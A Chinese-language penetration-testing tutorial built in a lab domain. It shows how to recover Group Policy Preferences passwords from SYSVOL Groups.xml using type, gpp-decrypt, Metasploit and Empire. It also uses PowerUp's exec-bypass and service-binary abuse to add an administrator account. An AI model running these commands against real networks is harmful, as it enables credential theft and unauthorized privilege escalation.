一、提权简介:
当域管理员在使用组策略进行批量、统一的配置和管理,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL下,又因为\SYSVOL文件夹是在安装活动目录时自动创建的,所有经过身份验证的域用户、域信任用户具有读权限的活动目录的域范围内共享,所有的域策略都存放在SYSVOL下,虽然保存的密码通过AES 256进行加密,但密钥是公开在微软官网的。
二、新建组策略GPP
开始-->运行-->输入 gpmc.msc -->选择hack.com-->右键组策略对象-->新建,这里新建一个GPP-test的组策略对象
选中新建的组策略对象,右键点击编辑
右键本地用户和组-->新建-->本地用户
我们将域中每个计算机的本地Administrator用户更名为 admin,并且设置新的密码admin123
回到新建的GPP-test,点进去,点击添加,将Domain Computers添加到组策略应用的组中
运行-->gpupdate /foce,强制更新组策略设置
查看详细信息,并且在C:\Windows\SYSVOL\domain\Policies目录下有ID相对应的文件夹目录
三、获取组策略的凭据
①、通过type命令进行查找
因为任何域用户和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账号、密码的本地管理员计算机。在SYSVOL中搜索,可以找到Groups.xml文件
寻找目录名
dir \\域控主机名\sysvol\域名\Policies
查看Groups.xml内容
type \\域控主机名\SYSVOL\域名\Policies\{ID值}\Machine\Preferences\Groups\Groups.xml
可以看到密码是被加密的,需要解密
利用kali自带的gpp-decrypt
gpp-decrypt
NO.1 | 利用MSF |
post/windows/gather/credentials/gpp模块
该模块可以获取组策略中的密码,我们只需要获取域内任何一台以域用户权限登录的机器的权限即可
运行该模块,会自动找到其中的密码
run post/windows/gather/credentials/gpp
NO.2 | 利用Powerup |
Powerup中的AllChecks命令,会检查并列出全部存在的提权问题的服务,并在AbuseFunction参数中直接给出了利用方式。
①执行powerup的方式可以是本地加载或者远程加载执行,这里我用本地加载方式执行,首先上传powerup.ps1到目标,然后执行
powershell -exec bypass "import-module .\powerup.ps1;Invoke-AllChecks" >rs.txt
查看rs.txt内容,关注的是下图分类中的结果
发现ScsiAccess服务存在问题,并且给出了利用方式
②根据给出的方式进行利用
powershell -exec bypass "import-module .\powerup.ps1;Install-ServiceBinary -Name 'ScsiAccess' -UserName test -Password test"
看到是执行了添加用户的操作,并添加到了管理员组,这里后面的-username和-password是我自己添加的,目的是为了自定义用户名和密码
③等待服务重启,添加用户成功
ner user
NO.3 | 利用Empire |
拿到empire会话后,直接执行对应模块
usemodule privesc/gppexecute
有组策略的话就会返回xml文件中的账号密码